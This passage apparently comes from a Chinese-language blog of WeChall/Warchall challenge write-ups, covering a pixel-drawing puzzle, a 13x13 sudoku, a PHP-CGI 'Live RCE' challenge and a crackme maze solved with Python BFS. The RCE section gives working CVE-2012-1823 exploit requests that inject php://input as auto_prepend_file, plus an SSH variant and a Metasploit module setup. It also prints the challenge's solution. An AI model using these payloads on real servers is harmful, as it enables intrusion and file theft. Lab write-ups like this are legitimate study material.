newImage("Vermeer", "8-bit white", 100, 100, 1);
for (i = 1; i < lengthOf(message) - 5; i += 6) {
  x = parseInt(substring(message, i, i + 2));
  y = parseInt(substring(message, i + 3, i + 5));
  setPixel(x, y, 0);
}

Step 3: 读结果

画出来是 7 个 block letter，占据 x=10-43, y=10-16 的区域：

1
2
3
4
5
6
7

# #  ###  ###  #  #  #  #  #  ####
# #  # #  #    # #   #  ## #  #
# #  # #  #    ##    #  ## #  #
###  ###  #    ##    #  ####  # ##
# #  # #  #    ##    #  # ##  # ##
# #  # #  #    # #   #  # ##  #  #
# #  # #  ###  #  #  #  #  #  ####

7 个 block 字母，每个 3-4 列宽，2 列间隔。坐标值每次访问随机变化，但画出的字母图案始终一致。

Challenge

You likely know Sudoku. This one has been created by my logical solver/creator.

题目是一张 13×13 的数独图片。与标准 9×9 不同，这里使用 13 个符号（1-9 + A-D），格子也是 13×13。每行、每列、每个区域必须包含全部 13 个符号各一次。

Solution

手动求解。

or use sudoku-solver

论坛帖子 How do I submit? 确认了提交顺序：

simply submit your solution from left to right, up to down.

即 row-major 拼成 169 个字符的字符串。

格子大小（13×13）从图片分析确认：图片有 14 条水平线 + 14 条垂直线 → 13×13 grid。

Challenge

Warchall 服务器上的 Live RCE 题目，目标是证明对 rce.warchall.net 的可控命令执行，并读取 challenge solution。

WeChall 页面只给入口和提交框，真正的靶机在：

1

https://rce.warchall.net/index.php

Recon

先看源码。PHP-CGI 模式下 -s 参数会泄露源码而不是高亮输出：

1

$ curl -s 'https://rce.warchall.net/index.php?-s'

页面源码：

1
2
3
4
5
6
7
8
9
10
11
12
13
14

<?php
require '../config.php';
$username = isset($_GET['username']) ? (string)$_GET['username'] : 'Guest';
?>
<!DOCTYPE html>
<html>
<head><title>Live RCE [Warchall]</title></head>
<body>
<h1>Live RCE!</h1>
<p>Hello <?php echo $username; ?>!</p>
<p>Here are your $_SERVER vars:</p>
<pre><?php print_r($_SERVER); ?></pre>
</body>
</html>

两个关键发现：

1. -s 生效了——说明 URL 参数直接传给了 PHP-CGI 解释器，而不是被 Apache 吞掉。
2. 源码里 require '../config.php'，solution 大概率藏在那里。

Vulnerability: PHP-CGI Argument Injection

当 PHP 以 CGI 模式运行时（php-cgi），命令行参数可以通过 URL query string 传递。这不是 bug，是 CGI 协议的设计——query string 本来就是传给程序的。PHP-CGI 会解析以 - 开头的参数，就像命令行 php -d key=value -s file.php 一样。

CVE-2012-1823 记录了这个漏洞。受影响的是所有以 CGI/FastCGI 模式运行且没有做参数过滤的 PHP 部署。

核心 payload 参数：

Exploit

方法一：php://input（纯 HTTP，不需要 SSH）

通过 -d 覆盖两个关键配置：

• allow_url_include=On — 允许 include 远程/流包装器
• auto_prepend_file=php://input — 在每个 PHP 文件执行前先 include 请求体

1
2
3

$ curl -s -X POST \
  'https://rce.warchall.net/index.php?-d+allow_url_include%3dOn+-d+auto_prepend_file%3dphp://input' \
  -d '<?php echo file_get_contents("../config.php"); ?>'

输出：

1
2
3
4
5
6
7
8

YOU WIN!
<?php
define('ICANHAZRCE', 'StrongGard_6_3');
return ICANHAZRCE;
?>
YOU WIN!
<!DOCTYPE html>
...

YOU WIN! 是 config.php 里预设的标志。后面的 HTML 是正常页面渲染——因为 auto_prepend_file 在 index.php 执行前就跑了我们的 payload。

方法二：SSH + auto_prepend_file

如果有 Warchall SSH 访问权限，可以先在服务器上放一个 PHP 文件，然后用 auto_prepend_file 指向它：

1
2
3
4
5
6

# SSH 上去写文件
$ ssh -p 19198 user@warchall.net
$ echo '<?php echo file_get_contents("../config.php"); ?>' > /var/tmp/s.txt

# 然后触发
$ curl 'https://rce.warchall.net/index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3d/var/tmp/s.txt'

结果要「查看源码」才能看到——因为 PHP 输出混在 HTML 里，浏览器渲染后不可见。

方法三：Metasploit

1
2
3
4

use exploit/multi/http/php_cgi_arg_injection
set RHOSTS rce.warchall.net
set TARGETURI /index.php
run

Challenge

"Dear fellow Hackers,"

This time we will dive into a small windows application to get you started with cracking. We are using x64debug and analyze the crackit "Amaze Me" from bb on TBS.

README 里提到是用 x64dbg 分析，但真正的解法不需要 Windows——PE 文件的 .data 段直接包含了迷宫网格，简单字节提取 + BFS 即可。

Solution

1
2

$ file amazeme.exe
amazeme.exe: PE32+ executable (GUI) x86-64, for MS Windows

PE section 信息： - .data section: VA=0x403000, file_offset=0xC00 - 迷宫数据起始: VA 0x4030D0 = file offset 0xCD0 - 迷宫终点: VA 0x4032BE = file offset 0xEBE - 网格宽度 16 字节，高度 32 行

xxd 看 .data 段会发现一段明显的 ASCII art 迷宫的变体——字节值是 0x2e（.）作为墙，0x00 作为路：

1
2
3

00000cc0: 2e2e 2e2e 2e2e 2e2e 2e2e 2e2e 2e2e 2e2e  ................
00000cd0: 0000 2e00 0000 0000 2e00 0000 0000 2e2e  ................
00000ce0: 2e00 2e00 2e2e 2e00 2e00 2e2e 2e00 2e2e  ................

这个格子逻辑在二进制中可以反汇编确认：比较指令 cmp byte [edi], 1 后跟 jge fail，即字节值 >= 1 就是墙，0x00 是路。

提取 + BFS 求解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43

from collections import deque

with open('amazeme.exe', 'rb') as f:
    data = f.read()

# 迷宫参数（从二进制分析得出）
ROW_WIDTH = 16
NUM_ROWS = 32
START_OFFSET = 0xCC0  # .data section 开始 + 0xC0

# 提取迷宫字节
maze_bytes = data[START_OFFSET:START_OFFSET + NUM_ROWS * ROW_WIDTH]

# 转二维网格：0=路, 1=墙
grid = []
for row in range(NUM_ROWS):
    r = []
    for col in range(ROW_WIDTH):
        b = maze_bytes[row * ROW_WIDTH + col]
        r.append(1 if b != 0 else 0)
    grid.append(r)

# 起点 (1,0)，终点 (31,14)
start = (1, 0)
goal = (31, 14)

# BFS 求最短路径
queue = deque()
queue.append((start, ""))
visited = {start}

while queue:
    (r, c), path = queue.popleft()
    if (r, c) == goal:
        print(f"Solution: {path}")
        print(f"Length: {len(path)}")
        break
    for dr, dc, ch in [(0, -1, 'L'), (0, 1, 'R'), (-1, 0, 'U'), (1, 0, 'D')]:
        nr, nc = r + dr, c + dc
        if 0 <= nr < NUM_ROWS and 0 <= nc < ROW_WIDTH:
            if grid[nr][nc] == 0 and (nr, nc) not in visited:
                visited.add((nr, nc))
                queue.append(((nr, nc), path + ch))